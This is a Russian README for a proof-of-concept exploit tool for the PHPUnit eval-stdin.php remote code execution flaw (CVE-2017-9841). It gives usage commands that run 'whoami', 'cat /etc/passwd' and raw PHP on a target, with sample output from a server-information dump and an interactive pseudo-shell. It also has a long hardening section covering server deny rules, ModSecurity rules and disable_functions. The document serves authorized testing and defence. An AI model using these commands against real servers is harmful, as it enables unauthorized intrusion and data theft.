
CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несет ответственности за любое неправомерное использование этого инструмента.
CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.
Уязвимость существует в src/Util/PHP/eval-stdin.php, который выполняет PHP-код, полученный через php://input (тело POST-запроса), с помощью функции eval(). Если этот файл общедоступен (например, в незащищенной директории vendor/), злоумышленник может выполнить произвольный PHP-код на сервере без аутентификации.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Этот файл принимает PHP-код из тела POST-запроса и немедленно выполняет его через eval() без какой-либо аутентификации или проверки.
requestspip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
Флаг -u принимает как базовый URL (автоматически добавляет уязвимый путь), так и полный URL, указывающий непосредственно на eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Output:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Output:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Output:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Добавьте файл .htaccess внутри директории vendor/:
# /path/to/project/vendor/.htaccess
Deny from all
Или настройте в Apache VirtualHost:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Для Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions в php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Пример для ModSecurity:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Пример: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
| Поле | Значение |
|---|
| Идентификатор CVE | CVE-2017-9841 |
| Оценка CVSS | 9.8 (Критический) |
| Затронутые версии | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Тип | Удаленное выполнение кода (RCE) |
| Аутентификация | Не требуется |
| Вектор | Сеть (удаленный) |
| Опубликовано | 27 июня 2017 г. |
| Ссылка | NVD |
| Флаг | Описание |
|---|
-u, --url URL | Целевой базовый URL или полный URL к eval-stdin.php |
-c, --cmd CMD | Команда CLI для выполнения на целевом сервере |
--check | Проверить, уязвим ли целевой сервер, без выполнения команд |
--shell | Открыть псевдо-интерактивный шелл |
--info | Собрать информацию о сервере (только чтение) |
--find-path | Сканировать распространённые пути для поиска eval-stdin.php |
--path PATH | Указать пользовательский путь к eval-stdin.php |
--timeout N | Тайм-аут запроса в секундах (по умолчанию: 30) |
-o, --output FILE | Сохранить вывод команды в файл |
--php CODE | Выполнить необработанный PHP-код вместо системных команд |
| Фактор | Влияние |
|---|
disable_functions пуст | Все PHP-функции доступны (system, exec и т.д.) |
open_basedir не установлен | Злоумышленник может читать/записывать файлы по всей файловой системе |
Высокое значение max_execution_time | Больше времени на запрос для сложных нагрузок |
| Загружено расширение FFI | Вызовы C-функций напрямую, обход ограничений PHP |
| Загружены расширения для БД | Возможны прямые подключения к БД (mysqli, pgsql и т.д.) |
| WAF не развернут | Нет фильтрации или блокировки запросов |
| IDS/IPS отсутствуют | Нет обнаружения аномалий или оповещений |
| Зависимости разработки в продакшене | Излишнее расширение поверхности атаки |